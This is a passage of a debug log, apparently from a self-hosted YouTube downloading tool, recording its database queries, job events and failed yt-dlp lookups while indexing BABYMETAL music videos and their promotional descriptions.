-「WOWOW」\nLIVE AT INTUIT DOME「WOWOW」\nLEGEND METAL FORTH「WOWOW」\n\naudio\nLEGEND METAL FORTH「WOWOW」", "duration" => 321, "filename" => "/downloads/Grift/Grift/2026-05-23BABYMETAL ⧸⧸ HEADBANGER!! 「ヘドバンギャー!!」【15th Night Ver.】[zvZFMe3Y_hw].m4a", "id" => "zvZFMe3Y_hw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zvZFMe3Y_hw", "playlist_index" => 35, "timestamp" => 1779541202, "title" => "BABYMETAL // HEADBANGER!! 「ヘドバンギャー!!」【15th Night Ver.】", "upload_date" => "20260523"} 22:21:20.955 [debug] QUERY OK source="sources" db=0.1ms idle=56.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:20.955 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:20.956 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 13:00:02Z], 4] 22:21:21.052 [debug] QUERY OK source="media_items" db=95.8ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["𝗟𝗜𝗩𝗘 𝗖𝗢𝗠𝗣𝗜𝗟𝗔𝗧𝗜𝗢𝗡\nshows featured: 5\nLIVE AT THE 02 ARENA\nSEIKIMA-II vs BABYMETAL - ENCOUNTER - 「WOWOW」\nSEIKIMA-II vs BABYMETAL - IMPACT -「WOWOW」\nLIVE AT INTUIT DOME「WOWOW」\nLEGEND METAL FORTH「WOWOW」\n\naudio\nLEGEND METAL FORTH「WOWOW」", "BABYMETAL // HEADBANGER!! 「ヘドバンギャー!!」【15th Night Ver.】", "b20d6350-44ce-41a8-81ae-13b908682c80", false, "zvZFMe3Y_hw", 321, false, "https://www.youtube.com/watch?v=zvZFMe3Y_hw", 35, "/downloads/Grift/Grift/2026-05-23BABYMETAL ⧸⧸ HEADBANGER!! 「ヘドバンギャー!!」【15th Night Ver.】[zvZFMe3Y_hw].m4a", false, false, 4, [], 1, ~U[2026-05-23 13:00:02Z], ~U[2026-07-24 02:21:20Z], ~U[2026-07-24 02:21:20Z], "𝗟𝗜𝗩𝗘 𝗖𝗢𝗠𝗣𝗜𝗟𝗔𝗧𝗜𝗢𝗡\nshows featured: 5\nLIVE AT THE 02 ARENA\nSEIKIMA-II vs BABYMETAL - ENCOUNTER - 「WOWOW」\nSEIKIMA-II vs BABYMETAL - IMPACT -「WOWOW」\nLIVE AT INTUIT DOME「WOWOW」\nLEGEND METAL FORTH「WOWOW」\n\naudio\nLEGEND METAL FORTH「WOWOW」", "BABYMETAL // HEADBANGER!! 「ヘドバンギャー!!」【15th Night Ver.】", "zvZFMe3Y_hw", 321, false, "https://www.youtube.com/watch?v=zvZFMe3Y_hw", "/downloads/Grift/Grift/2026-05-23BABYMETAL ⧸⧸ HEADBANGER!! 「ヘドバンギャー!!」【15th Night Ver.】[zvZFMe3Y_hw].m4a", false, 4, ~U[2026-05-23 13:00:02Z]] 22:21:21.053 [debug] QUERY OK source="sources" db=0.2ms idle=97.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:21.053 [debug] QUERY OK source="media_profiles" db=0.1ms idle=97.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:21.053 [debug] QUERY OK source="media_items" db=0.1ms idle=97.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [155] 22:21:21.053 [debug] Current batch of media processed. Will check again in 1000ms 22:21:21.967 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=YrZj2_PmNU0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5f/fb/5ffb4e8394083dbb1dd0a5a290e0b75eb3000032121544f73e38a40ad057ce43.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] YrZj2_PmNU0: Video unavailable. This video is not available 22:21:21.967 [error] yt-dlp download error for media item #201: "ERROR: [youtube] YrZj2_PmNU0: Video unavailable. This video is not available\n" 22:21:21.967 [error] yt-dlp download will not be retried: "ERROR: [youtube] YrZj2_PmNU0: Video unavailable. This video is not available\n" 22:21:21.969 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lrN06b4byiM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/da/ed/daed93ff21eec5d6710bffdf3a5a23e8f57c90a6792ec210aaa5c6beda235d2b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] lrN06b4byiM: Video unavailable. This video is not available 22:21:21.969 [error] yt-dlp download error for media item #200: "ERROR: [youtube] lrN06b4byiM: Video unavailable. This video is not available\n" 22:21:21.969 [error] yt-dlp download will not be retried: "ERROR: [youtube] lrN06b4byiM: Video unavailable. This video is not available\n" 22:21:22.273 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Stream \"from me to u (feat. Poppy) (LIVE FROM THE O2)” now: https://Babymetal.lnk.to/FMTULIVE\nCHECK OUT THE NEW ALBUM, METAL FORTH: https://babymetal.lnk.to/MetalForthID\nLearn more: https://metalforth.com/\n\n日本人グループ史上初の単独公演となったロンドン・O2アリーナのライブ映像作品 『BABYMETAL - LIVE AT THE O2 ARENA』の発売が決定!!\nタイトル:BABYMETAL - LIVE AT THE O2 ARENA\n発売日:2025年12月19日(金)\n\n【『BABYMETAL - LIVE AT THE O2 ARENA』主要販売サイト】\nhttps://lnk.to/LIVE_AT_THE_O2_ARENA\n\n▶Blu-ray & DVD\n①完全生産限定盤 Blu-ray アナログジャケット仕様\n価格:9,900円(税込) 品番:BMWR-1001\n②通常盤 Blu-ray\n価格:7,700円(税込) 品番:BMWR-1002\n③通常盤 DVD\n価格:6,600円(税込) 品番:BMWR-1003\n\n▶︎THE ONE 限定盤\nスペシャルパッケージ Blu-ray+ライブ2CD+写真集64P予定\n価格:22,000円(税込) 品番:ONEB-0045\n \n★https://babymetal.lnk.to/EmailSignUp\n★https://babymetal.com\n★ Facebook: https://www.facebook.com/BABYMETAL.jp/\n★ Instagram: https://www.instagram.com/babymetal_official/\n★ X: https://x.com/BABYMETAL_JAPAN\n★ TikTok: https://www.tiktok.com/@babymetal_japan \n\nProducer: Takashi Sugai(CROMANYON)\nGeneral Producer: KOBAMETAL", "duration" => 222, "filename" => "/downloads/Grift/Grift/2025-10-03BABYMETAL - from me to u (feat. Poppy) (LIVE FROM THE O2)[EpXtD6dD0MU].m4a", "id" => "EpXtD6dD0MU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=EpXtD6dD0MU", "playlist_index" => 36, "timestamp" => 1759500032, "title" => "BABYMETAL - from me to u (feat. Poppy) (LIVE FROM THE O2)", "upload_date" => "20251003"} 22:21:22.273 [info] {"args":{"id":200},"id":218,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4871115,"event":"job:stop","queue_time":30918033,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:22.273 [info] {"args":{"id":201},"id":219,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4535378,"event":"job:stop","queue_time":30284731,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:22.274 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1220.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:22.274 [debug] QUERY OK source="sources" db=0.1ms idle=1220.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:22.274 [debug] QUERY OK source="media_items" db=0.1ms idle=319.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-03 14:00:32Z], 4] 22:21:22.484 [debug] QUERY OK source="media_items" db=209.2ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Stream \"from me to u (feat. Poppy) (LIVE FROM THE O2)” now: https://Babymetal.lnk.to/FMTULIVE\nCHECK OUT THE NEW ALBUM, METAL FORTH: https://babymetal.lnk.to/MetalForthID\nLearn more: https://metalforth.com/\n\n日本人グループ史上初の単独公演となったロンドン・O2アリーナのライブ映像作品 『BABYMETAL - LIVE AT THE O2 ARENA』の発売が決定!!\nタイトル:BABYMETAL - LIVE AT THE O2 ARENA\n発売日:2025年12月19日(金)\n\n【『BABYMETAL - LIVE AT THE O2 ARENA』主要販売サイト】\nhttps://lnk.to/LIVE_AT_THE_O2_ARENA\n\n▶Blu-ray & DVD\n①完全生産限定盤 Blu-ray アナログジャケット仕様\n価格:9,900円(税込) 品番:BMWR-1001\n②通常盤 Blu-ray\n価格:7,700円(税込) 品番:BMWR-1002\n③通常盤 DVD\n価格:6,600円(税込) 品番:BMWR-1003\n\n▶︎THE ONE 限定盤\nスペシャルパッケージ Blu-ray+ライブ2CD+写真集64P予定\n価格:22,000円(税込) 品番:ONEB-0045\n \n★https://babymetal.lnk.to/EmailSignUp\n★https://babymetal.com\n★ Facebook: https://www.facebook.com/BABYMETAL.jp/\n★ Instagram: https://www.instagram.com/babymetal_official/\n★ X: https://x.com/BABYMETAL_JAPAN\n★ TikTok: https://www.tiktok.com/@babymetal_japan \n\nProducer: Takashi Sugai(CROMANYON)\nGeneral Producer: KOBAMETAL", "BABYMETAL - from me to u (feat. Poppy) (LIVE FROM THE O2)", "1a2c7094-0cac-4314-962a-f0600cd738a0", false, "EpXtD6dD0MU", 222, false, "https://www.youtube.com/watch?v=EpXtD6dD0MU", 36, "/downloads/Grift/Grift/2025-10-03BABYMETAL - from me to u (feat. Poppy) (LIVE FROM THE O2)[EpXtD6dD0MU].m4a", false, false, 4, [], 1, ~U[2025-10-03 14:00:32Z], ~U[2026-07-24 02:21:22Z], ~U[2026-07-24 02:21:22Z], "Stream \"from me to u (feat. Poppy) (LIVE FROM THE O2)” now: https://Babymetal.lnk.to/FMTULIVE\nCHECK OUT THE NEW ALBUM, METAL FORTH: https://babymetal.lnk.to/MetalForthID\nLearn more: https://metalforth.com/\n\n日本人グループ史上初の単独公演となったロンドン・O2アリーナのライブ映像作品 『BABYMETAL - LIVE AT THE O2 ARENA』の発売が決定!!\nタイトル:BABYMETAL - LIVE AT THE O2 ARENA\n発売日:2025年12月19日(金)\n\n【『BABYMETAL - LIVE AT THE O2 ARENA』主要販売サイト】\nhttps://lnk.to/LIVE_AT_THE_O2_ARENA\n\n▶Blu-ray & DVD\n①完全生産限定盤 Blu-ray アナログジャケット仕様\n価格:9,900円(税込) 品番:BMWR-1001\n②通常盤 Blu-ray\n価格:7,700円(税込) 品番:BMWR-1002\n③通常盤 DVD\n価格:6,600円(税込) 品番:BMWR-1003\n\n▶︎THE ONE 限定盤\nスペシャルパッケージ Blu-ray+ライブ2CD+写真集64P予定\n価格:22,000円(税込) 品番:ONEB-0045\n \n★https://babymetal.lnk.to/EmailSignUp\n★https://babymetal.com\n★ Facebook: https://www.facebook.com/BABYMETAL.jp/\n★ Instagram: https://www.instagram.com/babymetal_official/\n★ X: https://x.com/BABYMETAL_JAPAN\n★ TikTok: https://www.tiktok.com/@babymetal_japan \n\nProducer: Takashi Sugai(CROMANYON)\nGeneral Producer: KOBAMETAL", "BABYMETAL - from me to u (feat. Poppy) (LIVE FROM THE O2)", "EpXtD6dD0MU", 222, false, "https://www.youtube.com/watch?v=EpXtD6dD0MU", "/downloads/Grift/Grift/2025-10-03BABYMETAL - from me to u (feat. Poppy) (LIVE FROM THE O2)[EpXtD6dD0MU].m4a", false, 4, ~U[2025-10-03 14:00:32Z]] 22:21:22.485 [debug] QUERY OK source="sources" db=0.2ms idle=210.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:22.485 [debug] QUERY OK source="media_profiles" db=0.1ms idle=210.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:22.485 [debug] QUERY OK source="media_items" db=0.1ms idle=210.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [156] 22:21:22.485 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "BABYMETAL 1st full album \"BABYMETAL\" available now!!\n\nAvailable on iTunes Store worldwide & CD web store.\nDon't miss it!!\n\n[iTunes Store]\nhttps://itunes.apple.com/us/artist/babymetal/id477101776\n\n[CD web store ASMART]\n●BABYMETAL - Limited edition(CD+DVD)\nhttp://www.asmart.jp/Form/Product/ProductDetail.aspx?shop=0&cat=100131&swrd&pid=10006479&vid\nhttp://www.youtube.com/watch?v=U9oRytBGwYM\n\n●BABYMETAL - Regular edition(CD only)\nhttp://www.asmart.jp/Form/Product/ProductDetail.aspx?shop=0&cat=100131&swrd&pid=10006480&vid\n\n[CD web store CDJAPAN]\nhttp://www.cdjapan.co.jp/search3.html?q=babymetal&media&r=any&step=20&order=score\n\n\n★ Official Site : http://www.babymetal.jp/\n★ Facebook : http://www.facebook.com/BABYMETAL.jp\n★ Twitter : https://twitter.com/BABYMETAL_JAPAN\n\n\n【Profile】\nBABYMETAL【SU-METAL (Vocal,Dance) / YUIMETAL (Scream,Dance) / MOAMETAL (Scream,Dance) 】\n\nFormed in 2010. Their major debut single “ Ijme, dame, zettai\" along with 2nd single “Megistune\" both ranked in the Top 10 Oricon chart in Japan. In March 2014, they took to the stage of Nippon Budokan for a 2-Days gig making them the youngest female act to ever perform there. Their 1st studio album BAYBMETAL made it into the US Billboard chart. In summer of the same year, they embarked on their first World Tour, performing on the Main Stage at UK’s prodigious festival Sonisphere Festival 2014 in front of 65,000 festival goers, and supporting Lady Gaga on her “ArtRave: The Artpop Ball” 2014 Tour. In fall they were back for additional headline shows in Hammerstein Ballroom, New York City and O2 Academy Brixton, London. In January 2015, they headlined a show at the 20,000 capacities Saitama Super Arena, and in June 2015, they headlined a show at the 25,000 capacities Makuhari Messe. In summer of 2015, BABYMETAL received awards from prominent UK music magazines “Kerrang!” and “METAL HAMMER”. They then performed in front of a staggering 90,000 people at the prestigious Reading and Leeds Festival in August. This December, BABYMETAL are to take the stage again for 2 consecutive days at Japan’s Yokohama Arena pulling a total of 26,000 people before returning to the UK in April 2016 to headline London’s The SSE Arena, Wembley. BABYMETAL's ‘Metal Resistance’ is rapidly expanding across the globe.", "duration" => 250, "filename" => "/downloads/Grift/Grift/2013-06-04BABYMETAL - メギツネ - MEGITSUNE (OFFICIAL)[cK3NMZAUKGw].m4a", "id" => "cK3NMZAUKGw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cK3NMZAUKGw", "playlist_index" => 37, "timestamp" => 1370358924, "title" => "BABYMETAL - メギツネ - MEGITSUNE (OFFICIAL)", "upload_date" => "20130604"} 22:21:22.486 [debug] QUERY OK source="sources" db=0.1ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:22.486 [debug] QUERY OK source="sources" db=0.1ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:22.486 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2013-06-04 15:15:24Z], 4] 22:21:22.630 [debug] QUERY OK source="media_items" db=143.0ms idle=1.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["BABYMETAL 1st full album \"BABYMETAL\" available now!!\n\nAvailable on iTunes Store worldwide & CD web store.\nDon't miss it!!\n\n[iTunes Store]\nhttps://itunes.apple.com/us/artist/babymetal/id477101776\n\n[CD web store ASMART]\n●BABYMETAL - Limited edition(CD+DVD)\nhttp://www.asmart.jp/Form/Product/ProductDetail.aspx?shop=0&cat=100131&swrd&pid=10006479&vid\nhttp://www.youtube.com/watch?v=U9oRytBGwYM\n\n●BABYMETAL - Regular edition(CD only)\nhttp://www.asmart.jp/Form/Product/ProductDetail.aspx?shop=0&cat=100131&swrd&pid=10006480&vid\n\n[CD web store CDJAPAN]\nhttp://www.cdjapan.co.jp/search3.html?q=babymetal&media&r=any&step=20&order=score\n\n\n★ Official Site : http://www.babymetal.jp/\n★ Facebook : http://www.facebook.com/BABYMETAL.jp\n★ Twitter : https://twitter.com/BABYMETAL_JAPAN\n\n\n【Profile】\nBABYMETAL【SU-METAL (Vocal,Dance) / YUIMETAL (Scream,Dance) / MOAMETAL (Scream,Dance) 】\n\nFormed in 2010. Their major debut single “ Ijme, dame, zettai\" along with 2nd single “Megistune\" both ranked in the Top 10 Oricon chart in Japan. In March 2014, they took to the stage of Nippon Budokan for a 2-Days gig making them the youngest female act to ever perform there. Their 1st studio album BAYBMETAL made it into the US Billboard chart. In summer of the same year, they embarked on their first World Tour, performing on the Main Stage at UK’s prodigious festival Sonisphere Festival 2014 in front of 65,000 festival goers, and supporting Lady Gaga on her “ArtRave: The Artpop Ball” 2014 Tour. In fall they were back for additional headline shows in Hammerstein Ballroom, New York City and O2 Academy Brixton, London. In January 2015, they headlined a show at the 20,000 capacities Saitama Super Arena, and in June 2015, they headlined a show at the 25,000 capacities Makuhari Messe. In summer of 2015, BABYMETAL received awards from prominent UK music magazines “Kerrang!” and “METAL HAMMER”. They then performed in front of a staggering 90,000 people at the prestigious Reading and Leeds Festival in August. This December, BABYMETAL are to take the stage again for 2 consecutive days at Japan’s Yokohama Arena pulling a total of 26,000 people before returning to the UK in April 2016 to headline London’s The SSE Arena, Wembley. BABYMETAL's ‘Metal Resistance’ is rapidly expanding across the globe.", "BABYMETAL - メギツネ - MEGITSUNE (OFFICIAL)", "6f45f2d3-f067-4aa5-b435-5ed925d5d513", false, "cK3NMZAUKGw", 250, false, "https://www.youtube.com/watch?v=cK3NMZAUKGw", 37, "/downloads/Grift/Grift/2013-06-04BABYMETAL - メギツネ - MEGITSUNE (OFFICIAL)[cK3NMZAUKGw].m4a", false, false, 4, [], 1, ~U[2013-06-04 15:15:24Z], ~U[2026-07-24 02:21:22Z], ~U[2026-07-24 02:21:22Z], "BABYMETAL 1st full album \"BABYMETAL\" available now!!\n\nAvailable on iTunes Store worldwide & CD web store.\nDon't miss it!!\n\n[iTunes Store]\nhttps://itunes.apple.com/us/artist/babymetal/id477101776\n\n[CD web store ASMART]\n●BABYMETAL - Limited edition(CD+DVD)\nhttp://www.asmart.jp/Form/Product/ProductDetail.aspx?shop=0&cat=100131&swrd&pid=10006479&vid\nhttp://www.youtube.com/watch?v=U9oRytBGwYM\n\n●BABYMETAL - Regular edition(CD only)\nhttp://www.asmart.jp/Form/Product/ProductDetail.aspx?shop=0&cat=100131&swrd&pid=10006480&vid\n\n[CD web store CDJAPAN]\nhttp://www.cdjapan.co.jp/search3.html?q=babymetal&media&r=any&step=20&order=score\n\n\n★ Official Site : http://www.babymetal.jp/\n★ Facebook : http://www.facebook.com/BABYMETAL.jp\n★ Twitter : https://twitter.com/BABYMETAL_JAPAN\n\n\n【Profile】\nBABYMETAL【SU-METAL (Vocal,Dance) / YUIMETAL (Scream,Dance) / MOAMETAL (Scream,Dance) 】\n\nFormed in 2010. Their major debut single “ Ijme, dame, zettai\" along with 2nd single “Megistune\" both ranked in the Top 10 Oricon chart in Japan. In March 2014, they took to the stage of Nippon Budokan for a 2-Days gig making them the youngest female act to ever perform there. Their 1st studio album BAYBMETAL made it into the US Billboard chart. In summer of the same year, they embarked on their first World Tour, performing on the Main Stage at UK’s prodigious festival Sonisphere Festival 2014 in front of 65,000 festival goers, and supporting Lady Gaga on her “ArtRave: The Artpop Ball” 2014 Tour. In fall they were back for additional headline shows in Hammerstein Ballroom, New York City and O2 Academy Brixton, London. In January 2015, they headlined a show at the 20,000 capacities Saitama Super Arena, and in June 2015, they headlined a show at the 25,000 capacities Makuhari Messe. In summer of 2015, BABYMETAL received awards from prominent UK music magazines “Kerrang!” and “METAL HAMMER”. They then performed in front of a staggering 90,000 people at the prestigious Reading and Leeds Festival in August. This December, BABYMETAL are to take the stage again for 2 consecutive days at Japan’s Yokohama Arena pulling a total of 26,000 people before returning to the UK in April 2016 to headline London’s The SSE Arena, Wembley. BABYMETAL's ‘Metal Resistance’ is rapidly expanding across the globe.", "BABYMETAL - メギツネ - 